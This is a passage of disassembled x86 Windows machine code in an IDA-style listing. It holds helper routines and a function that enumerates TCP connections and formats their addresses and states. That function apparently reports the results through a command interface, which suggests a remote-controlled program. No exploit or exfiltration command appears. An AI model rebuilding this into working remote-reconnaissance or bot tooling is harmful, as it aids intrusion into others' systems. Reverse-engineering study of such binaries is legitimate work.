XREF: ___:00401EE2j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_449128 call sub_401771 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418990 proc near ; CODE XREF: sub_401B1Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021DF mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40162C mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401438 mov edx, [esi+4] mov ecx, esi push edx call sub_402103 sub_418990 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A00 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418A00 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A40 proc near ; CODE XREF: sub_4021FDj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A mov edx, [esi+4] mov ecx, esi push edx call sub_40207C sub_418A40 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401F69j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4015DC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D98 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AF0 proc near ; CODE XREF: sub_401311j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D98 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_418AF0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A pop esi add esp, 0Ch retn sub_418B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B70 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx call sub_401532 mov eax, esi pop esi retn sub_418B70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B90 proc near ; CODE XREF: sub_402234j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418B90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015DC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418BB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BE0 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40223E neg al sbb eax, eax inc eax retn 4 sub_418BE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_401438j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jz short loc_418C6A loc_418C28: ; CODE XREF: sub_418C10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jnz short loc_418C28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418C10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_402103j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D6B sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_40155Aj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jz short loc_418D1A loc_418CD8: ; CODE XREF: sub_418CC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40216C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jnz short loc_418CD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418D1A: ; CODE XREF: sub_418CC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C67 sub_418D50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418D65 mov edi, esi loc_418D65: ; CODE XREF: ___:00418D61j push esi call sub_4015DC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418D7A mov edi, esi loc_418D7A: ; CODE XREF: ___:00418D76j push esi call sub_401B31 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418DA0 proc near ; CODE XREF: sub_40207Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013FC sub_418DA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DC0 proc near ; CODE XREF: sub_4015DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418DC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418DE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E00 proc near ; CODE XREF: sub_401532j mov eax, ecx retn sub_418E00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E20 proc near ; CODE XREF: sub_401D98j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020FE mov eax, esi pop esi retn 4 sub_418E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E50 proc near ; CODE XREF: sub_40223Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418E50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C9E mov esi, eax push esi call sub_401A96 push esi mov ebx, eax call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [ebx] push esi mov [eax], edx call sub_401C6C push esi mov ebx, eax call sub_401A96 mov eax, [eax] push eax call sub_401C6C mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_40176C push esi mov ecx, edi call sub_402103 sub_418E80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F40 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_418F40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F28 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418F60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F90 proc near ; CODE XREF: sub_40216Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401EEC mov esi, eax push esi call sub_4015DC push esi mov ebx, eax call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [ebx] push esi mov [eax], edx call sub_401B31 push esi mov ebx, eax call sub_4015DC mov eax, [eax] push eax call sub_401B31 mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018D4 push esi mov ecx, edi call sub_40207C sub_418F90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401B31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_419050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419070 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_419070 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190A0 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4190A0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190C0 proc near ; CODE XREF: sub_4020FEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4190C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190E0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4190E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419110 proc near ; CODE XREF: sub_40176Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419130 proc near ; CODE XREF: sub_4018D4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419130 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419150 proc near ; CODE XREF: sub_401EECj mov eax, [ecx] retn sub_419150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4191B0 proc near ; CODE XREF: sub_402121j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4191B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43F074 call sub_437AEA sub_4191B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41921D mov ecx, eax call sub_401F2D ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41921D: ; CODE XREF: ___:004191FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419270 proc near ; CODE XREF: sub_401F2Dj push 0FFFFFFFFh push offset SEH_419270 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_437AEA sub_419270 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4192BE mov ecx, eax call sub_4015C3 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4192BE: ; CODE XREF: ___:004192A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419300 proc near ; CODE XREF: sub_4015C3j mov eax, ecx retn sub_419300 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419320 proc near ; CODE XREF: sub_401974j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419320 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_419320 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4193C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4193C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017EE mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419766 push ebp push edi push offset asc_444600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax call sub_40168B push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+2B8h+var_274] call sub_401870 xor ebp, ebp push offset dword_444D78 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013ED test eax, eax jz short loc_41946F mov [esp+2B4h+var_2A0], 2 jmp short loc_419489 ; --------------------------------------------------------------------------- loc_41946F: ; CODE XREF: sub_4193C0+A3j push offset dword_444D74 lea ecx, [esp+2B8h+var_274] call sub_4013ED test eax, eax jz short loc_419489 mov [esp+2B4h+var_2A0], 1 loc_419489: ; CODE XREF: sub_4193C0+ADj ; sub_4193C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_444D68 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419518 mov esi, dword_511AA8 add eax, 2 push offset dword_444D68 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419518 mov ecx, [ebx+32h] push offset off_444D64 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41974C loc_419518: ; CODE XREF: sub_4193C0+123j ; sub_4193C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_437F50 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419742 lea ebp, [esi+14h] loc_419554: ; CODE XREF: sub_4193C0+37Cj cmp dword ptr [ebp-10h], 2 jnz short loc_419568 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41972C loc_419568: ; CODE XREF: sub_4193C0+198j mov ax, [ebp-8] mov esi, dword_511C5C push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40147E mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40147E mov eax, [ebp-10h] sub eax, 2 jz short loc_4195CC sub eax, 3 jnz short loc_4195F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4195D5 ; --------------------------------------------------------------------------- loc_4195CC: ; CODE XREF: sub_4193C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4195D5: ; CODE XREF: sub_4193C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4195F2: ; CODE XREF: sub_4193C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419618 xor ebx, ebx loc_419618: ; CODE XREF: sub_4193C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx lea eax, [esp+2C8h+var_118] and edi, 0FFFFh lea ecx, [esp+2C8h+var_224] push edi push eax push offset aSD_1 ; "%s:%d" push 8Bh push ecx call near ptr 77C3FA76h nop add esp, 28h lea ecx, [esp+2B4h+var_28C] call sub_40142E mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4196AE cmp eax, 1 jz loc_419713 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4196A1 cmp eax, esi jnz short loc_419713 loc_4196A1: ; CODE XREF: sub_4193C0+2DBj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4196D4 ; --------------------------------------------------------------------------- loc_4196AE: ; CODE XREF: sub_4193C0+2C7j cmp eax, 2 jz short loc_419713 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4196C2 cmp eax, edi jnz short loc_419713 loc_4196C2: ; CODE XREF: sub_4193C0+2FCj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4196D4: ; CODE XREF: sub_4193C0+2ECj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+2B8h+var_28C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 loc_419713: ; CODE XREF: sub_4193C0+2CCj ; sub_4193C0+2DFj ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41972C: ; CODE XREF: sub_4193C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419554 loc_419742: ; CODE XREF: sub_4193C0+18Bj push esi call near ptr 77C2C21Bh nop add esp, 4 loc_41974C: ; CODE XREF: sub_4193C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_419768 ; --------------------------------------------------------------------------- loc_419766: ; CODE XREF: sub_4193C0+3Dj mov al, 1 loc_419768: ; CODE XREF: sub_4193C0+3A4j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4193C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419890 proc near ; CODE XREF: sub_40147Ej var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419950 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41991E mov eax, [esp+30h] test eax, eax jz short loc_41991E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419950 mov eax, [eax] push ebx push eax push ebp call near ptr 77C47A90h nop add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41991E: ; CODE XREF: sub_419890+5Aj ; sub_419890+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419950 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419950: ; CODE XREF: sub_419890+52j ; sub_419890+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4199A0 proc near ; CODE XREF: sub_401F0Aj nop call near ptr 27F0BB2h push eax call near ptr 77C371BCh nop pop ecx retn sub_4199A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4199C0 proc near ; CODE XREF: sub_4021C6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi nop call near ptr 77C371D3h mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43F0B0 call sub_437BDA sub_4199C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A10: ; CODE XREF: ___:00401C99j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419A30: ; CODE XREF: ___:00401528j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A50 proc near ; CODE XREF: sub_401FE1j xor al, al retn 4 sub_419A50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_40152Dj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, 